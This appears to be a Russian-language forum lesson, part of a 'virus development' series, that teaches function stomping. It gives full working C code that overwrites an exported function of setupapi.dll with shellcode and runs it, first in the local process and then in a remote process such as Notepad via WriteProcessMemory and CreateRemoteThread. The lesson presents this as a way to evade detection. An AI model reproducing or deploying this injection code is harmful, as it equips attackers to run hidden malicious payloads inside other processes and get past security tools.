Уроки Разработка вирусов-22.Изучаем технику Stomping Injection


X-Shar

:)
Администрация
Регистрация
03.06.2012
Сообщения
6 085
Репутация
8 208
1695891812102.png


Предыдущая статья показывала как запустить peyload и при этом избежать использования вызовов WinAPI VirtualAlloc/Ex.

Этот-же урок демонстрирует другой метод, который избегает использования этих WinAPI.

Термин "stomping" относится к действию перезаписи или замены памяти функции или другой структуры данных в программе другими данными.

"Function stomping" - это техника, при которой байты исходной функции заменяются новым кодом, в результате чего функция заменяется или больше не работает так, как предполагалось. Вместо этого функция будет выполнять другую логику. Для реализации этого требуется адрес жертвенной функции для "stomping".

Выбор целевой функции

Получение адреса функции, если она локальная, то это не сложно, но основной вопрос при этой технике - какая функция получается.
Перезапись часто используемой функции может привести к неконтролируемому выполнению полезной нагрузки или процесс может завершиться аварийно. Поэтому следует понимать, что нацеливание на функции, экспортируемые из ntdll.dll, kernel32.dll и kernelbase.dll, рискованно.
Вместо этого следует нацеливаться на менее часто используемые функции, такие как MessageBox, так как она редко используется операционной системой или другими приложениями.

Использование перезаписанной функции

Когда байты целевой функции заменяются на байты полезной нагрузки, функция больше не может быть использована, если это не предназначено специально для выполнения полезной нагрузки.
Например, если целевой функцией является MessageBoxA, то двоичный файл должен вызывать MessageBoxA только один раз, когда будет выполнена полезная нагрузка.

Локальный код функции Stomping

В демонстрации кода ниже, целевой функцией является SetupScanFileQueueA. Это совершенно случайная функция, но вряд ли она вызовет проблемы, если ее перезаписать.
Согласно документации Microsoft, функция экспортируется из Setupapi.dll. Поэтому первым шагом будет загрузка Setupapi.dll в локальную память процесса с использованием LoadLibraryA, а затем получение адреса функции с помощью GetProcAddress.

Следующим шагом будет "stomping" функции и замена её полезной нагрузкой. Убедитесь, что функция может быть перезаписана, пометив её область памяти как доступную для чтения и записи с использованием VirtualProtect.
Затем полезная нагрузка записывается по адресу функции, и, наконец, снова используется VirtualProtect, чтобы пометить область как исполняемую (RX или RWX).

C:
#define        SACRIFICIAL_DLL          "setupapi.dll"
#define        SACRIFICIAL_FUNC         "SetupScanFileQueueA"
// ...

BOOL WritePayload(IN PVOID pAddress, IN PBYTE pPayload, IN SIZE_T sPayloadSize) {

    DWORD    dwOldProtection        = NULL;

    if (!VirtualProtect(pAddress, sPayloadSize, PAGE_READWRITE, &dwOldProtection)){
        printf("[!] VirtualProtect [RW] Не удалось из-за ошибки: %d \n", GetLastError());
        return FALSE;
    }

    memcpy(pAddress, pPayload, sPayloadSize);

    if (!VirtualProtect(pAddress, sPayloadSize, PAGE_EXECUTE_READWRITE, &dwOldProtection)) {
        printf("[!] VirtualProtect [RWX] Не удалось из-за ошибки: %d \n", GetLastError());
        return FALSE;
    }

    return TRUE;
}

int main() {

    PVOID        pAddress    = NULL;
    HMODULE        hModule        = NULL;
    HANDLE        hThread        = NULL;

    printf("[#] Нажмите <Enter>, чтобы загрузить \"%s\" ... ", SACRIFICIAL_DLL);
    getchar();

    printf("[i] Загрузка ... ");
    hModule = LoadLibraryA(SACRIFICIAL_DLL);
    if (hModule == NULL){
        printf("[!] LoadLibraryA Не удалось из-за ошибки: %d \n", GetLastError());
        return -1;
    }
    printf("[+] ГОТОВО \n");

    pAddress = GetProcAddress(hModule, SACRIFICIAL_FUNC);
    if (pAddress == NULL){
        printf("[!] GetProcAddress Не удалось из-за ошибки: %d \n", GetLastError());
        return -1;
    }

    printf("[+] Адрес \"%s\" : 0x%p \n", SACRIFICIAL_FUNC, pAddress);

    printf("[#] Нажмите <Enter>, чтобы записать полезную нагрузку ... ");
    getchar();
    printf("[i] Запись ... ");
    if (!WritePayload(pAddress, Payload, sizeof(Payload))) {
        return -1;
    }
    printf("[+] ГОТОВО \n");

    printf("[#] Нажмите <Enter>, чтобы выполнить полезную нагрузку ... ");
    getchar();

    hThread = CreateThread(NULL, NULL, pAddress, NULL, NULL, NULL);
    if (hThread != NULL)
        WaitForSingleObject(hThread, INFINITE);

    printf("[#] Нажмите <Enter>, чтобы выйти ... ");
    getchar();

    return 0;

}

Вставка DLL в двоичный файл

Вместо загрузки DLL с использованием LoadLibrary и затем получения адреса целевой функции с помощью GetProcAddress, можно статически связать DLL с двоичным файлом. Для этого можно использовать директиву компилятора pragma comment, как показано ниже.

C:
#pragma comment (lib, "Setupapi.lib") // Добавление "setupapi.dll" в таблицу импорта адресов

Затем целевую функцию можно просто получить с использованием оператора адреса (например, &SetupScanFileQueueA). Ниже приведен фрагмент кода, который обновляет предыдущий фрагмент кода с использованием директивы pragma comment.

C:
#pragma comment (lib, "Setupapi.lib") // Добавление "setupapi.dll" в таблицу импорта адресов
// ...

int main() {

    HANDLE        hThread            = NULL;

    printf("[+] Адрес \"SetupScanFileQueueA\" : 0x%p \n", &SetupScanFileQueueA);

    printf("[#] Нажмите <Enter>, чтобы записать полезную нагрузку ... ");
    getchar();
    printf("[i] Запись ... ");
    if (!WritePayload(&SetupScanFileQueueA, Payload, sizeof(Payload))) { // Использование оператора адреса
        return -1;
    }
    printf("[+] ГОТОВО \n");

    printf("[#] Нажмите <Enter>, чтобы выполнить полезную нагрузку ... ");
    getchar();

    hThread = CreateThread(NULL, NULL, SetupScanFileQueueA, NULL, NULL, NULL);
    if (hThread != NULL)
        WaitForSingleObject(hThread, INFINITE);

    printf("[#] Нажмите <Enter>, чтобы выйти ... ");
    getchar();

    return 0;

}

Демонстрация

Получение адреса SetupScanFileQueueA.

1695891812102.png


Оригинальные байты функции SetupScanFileQueueA.

1695891875342.png


Замена байтов функции на полезную нагрузку Msfvenom calc.

1695891906617.png


Запуск нагрузки

1695891929989.png


Stomping Injection в удаленный процесс
Давайте теперь попробуем перезаписать функцию в стороннем процессе.)

DLL-файлы, реализующие функции Windows API, используются всеми процессами, которые их используют, поэтому функции внутри DLL имеют одинаковые адреса в каждом процессе. Однако адрес самой DLL будет отличаться между процессами из-за различного виртуального адресного пространства. Это означает, что, хотя адрес целевой функции остается постоянным в разных процессах, DLL, который экспортирует эти функции, может не быть одинаковым.

Например, два процесса, A и B, будут использовать Kernel32.dll, но адрес DLL может отличаться в каждом процессе из-за рандомизации макета адресного пространства (Address Space Layout Randomization). Однако VirtualAlloc, который экспортируется из Kernel32.dll, будет иметь одинаковый адрес в обоих процессах.

Важно отметить, что для того чтобы перезаписать функцию удаленно, DLL, экспортирующая целевую функцию, должна быть уже загружена в целевой процесс.
Например, чтобы нацелиться на функцию SetupScanFileQueueA, которая экспортируется из Setupapi.dll, этот DLL должен быть уже загружен в целевой процесс.

Если удаленный процесс не загрузил Setupapi.dll, функция SetupScanFileQueueA не будет присутствовать в целевом процессе, что приведет к попытке записи по адресу, который не существует.

Код перезаписи функции в удаленном процессе

Следующий код похож на код локальной перезаписи функции, однако он использует разные функции WinAPI для инъекции кода.

C:
#define        SACRIFICIAL_DLL            "setupapi.dll"
#define        SACRIFICIAL_FUNC           "SetupScanFileQueueA"
// ...

BOOL WritePayload(HANDLE hProcess, PVOID pAddress, PBYTE pPayload, SIZE_T sPayloadSize) {

    DWORD    dwOldProtection            = NULL;
    SIZE_T    sNumberOfBytesWritten      = NULL;

    if (!VirtualProtectEx(hProcess, pAddress, sPayloadSize, PAGE_READWRITE, &dwOldProtection)) {
        printf("[!] VirtualProtectEx [RW] Ошибка выполнения: %d \n", GetLastError());
        return FALSE;
    }

    if (!WriteProcessMemory(hProcess, pAddress, pPayload, sPayloadSize, &sNumberOfBytesWritten) || sPayloadSize != sNumberOfBytesWritten){
        printf("[!] WriteProcessMemory Ошибка выполнения: %d \n", GetLastError());
        printf("[!] Байты записаны: %d из %d \n", sNumberOfBytesWritten, sPayloadSize);
        return FALSE;
    }

    if (!VirtualProtectEx(hProcess, pAddress, sPayloadSize, PAGE_EXECUTE_READWRITE, &dwOldProtection)) {
        printf("[!] VirtualProtectEx [RWX] Ошибка выполнения: %d \n", GetLastError());
        return FALSE;
    }

    return TRUE;
}

int wmain(int argc, wchar_t* argv[]) {

    HANDLE        hProcess        = NULL,
                hThread            = NULL;
    PVOID        pAddress        = NULL;
    DWORD        dwProcessId        = NULL;

    HMODULE        hModule            = NULL;

    if (argc < 2) {
        wprintf(L"[!] Использование : \"%s\" <Имя процесса> \n", argv[0]);
        return -1;
    }

    wprintf(L"[i] Поиск ID процесса \"%s\" ... ", argv[1]);
    if (!GetRemoteProcessHandle(argv[1], &dwProcessId, &hProcess)) {
        printf("[!] Процесс не найден \n");
        return -1;
    }
    printf("[+] ГОТОВО \n");
    printf("[i] Найденный PID целевого процесса: %d \n", dwProcessId);



    printf("[i] Загрузка \"%s\"... ", SACRIFICIAL_DLL);
    hModule = LoadLibraryA(SACRIFICIAL_DLL);
    if (hModule == NULL) {
        printf("[!] LoadLibraryA Ошибка выполнения: %d \n", GetLastError());
        return -1;
    }
    printf("[+] ГОТОВО \n");


    pAddress = GetProcAddress(hModule, SACRIFICIAL_FUNC);
    if (pAddress == NULL) {
        printf("[!] GetProcAddress Ошибка выполнения: %d \n", GetLastError());
        return -1;
    }
    printf("[+] Адрес \"%s\" : 0x%p \n", SACRIFICIAL_FUNC, pAddress);


    printf("[#] Нажмите <Enter> для записи полезной нагрузки ... ");
    getchar();
    printf("[i] Запись ... ");
    if (!WritePayload(hProcess, pAddress, Payload, sizeof(Payload))) {
        return -1;
    }
    printf("[+] ГОТОВО \n");



    printf("[#] Нажмите <Enter> для выполнения полезной нагрузки ... ");
    getchar();

    hThread = CreateRemoteThread(hProcess, NULL, NULL, pAddress, NULL, NULL, NULL);
    if (hThread != NULL)
        WaitForSingleObject(hThread, INFINITE);

    printf("[#] Нажмите <Enter> чтобы выйти ... ");
    getchar();

    return 0;
}

Демонстрация

Нацеливаемся на процесс Notepad.exe.

1695892349782.png


Получение адреса SetupScanFileQueueA.

1695892388413.png


Оригинальные байты функции SetupScanFileQueueA.

1695892424397.png


Замена байтов функции на полезную нагрузку Msfvenom calc.

1695892462142.png


Запуск нагрузки

1695892492485.png
 
Автор темы Похожие темы Форум Ответы Дата
X-Shar Введение в разработку вредоносных программ 1
X-Shar Введение в разработку вредоносных программ 6
X-Shar Введение в разработку вредоносных программ 0
X-Shar Введение в разработку вредоносных программ 2
X-Shar Введение в разработку вредоносных программ 0
X-Shar Введение в разработку вредоносных программ 0
X-Shar Введение в разработку вредоносных программ 0
X-Shar Введение в разработку вредоносных программ 0
X-Shar Введение в разработку вредоносных программ 0
X-Shar Введение в разработку вредоносных программ 5
X-Shar Введение в разработку вредоносных программ 1
X-Shar Введение в разработку вредоносных программ 0
X-Shar Введение в разработку вредоносных программ 0
X-Shar Введение в разработку вредоносных программ 0
X-Shar Введение в разработку вредоносных программ 2
X-Shar Введение в разработку вредоносных программ 2
X-Shar Введение в разработку вредоносных программ 0
X-Shar Введение в разработку вредоносных программ 3
X-Shar Введение в разработку вредоносных программ 2
X-Shar Введение в разработку вредоносных программ 0
Похожие темы
Уроки Разработка вирусов-35.Обход EDRs.Последняя тема цикла
Уроки Разработка вирусов-34.Обход Windows defender
Уроки Разработка вирусов-33.Уменьшение вероятности детекта зверька
Уроки Разработка вирусов-32.Открываем врата ада
Уроки Разработка вирусов-31.Обход виртуальных машин
Уроки Разработка вирусов-30.Черпаем силы в антиотладке
Уроки Разработка вирусов-29. Предельная техника-2. Практика. Реализуем техники инъекции через сисколы
Уроки Разработка вирусов-28. Предельная техника. Разборка с сисколами
Уроки Разработка вирусов-27.Кунгфу-2.Изучаем API Hooking
Уроки Разработка вирусов-26. Изучаем кунгфу-1. Скрытие таблицы импорта
Уроки Разработка вирусов-25. Скрытие строк
Уроки Разработка вирусов-24. Изучаем технику Spoofing
Уроки Разработка вирусов-23. Контроль выполнения полезной нагрузки
Уроки Разработка вирусов-21.Инъекция отображаемой памяти
Уроки Разработка вирусов-20.Вызов кода через функции обратного вызова
Уроки Разработка вирусов-19.Изучаем технику APC Injection
Уроки Разработка малвари-18.Определение PID нужного процесса, или перечисления процессов
Уроки Разработка вирусов-17.Изучаем технику Thread Hijacking
Уроки Разработка вирусов-16.Разборка с цифровой подписью зверька
Уроки Разработка вирусов-15. Прячем Payload в реестре
Верх Низ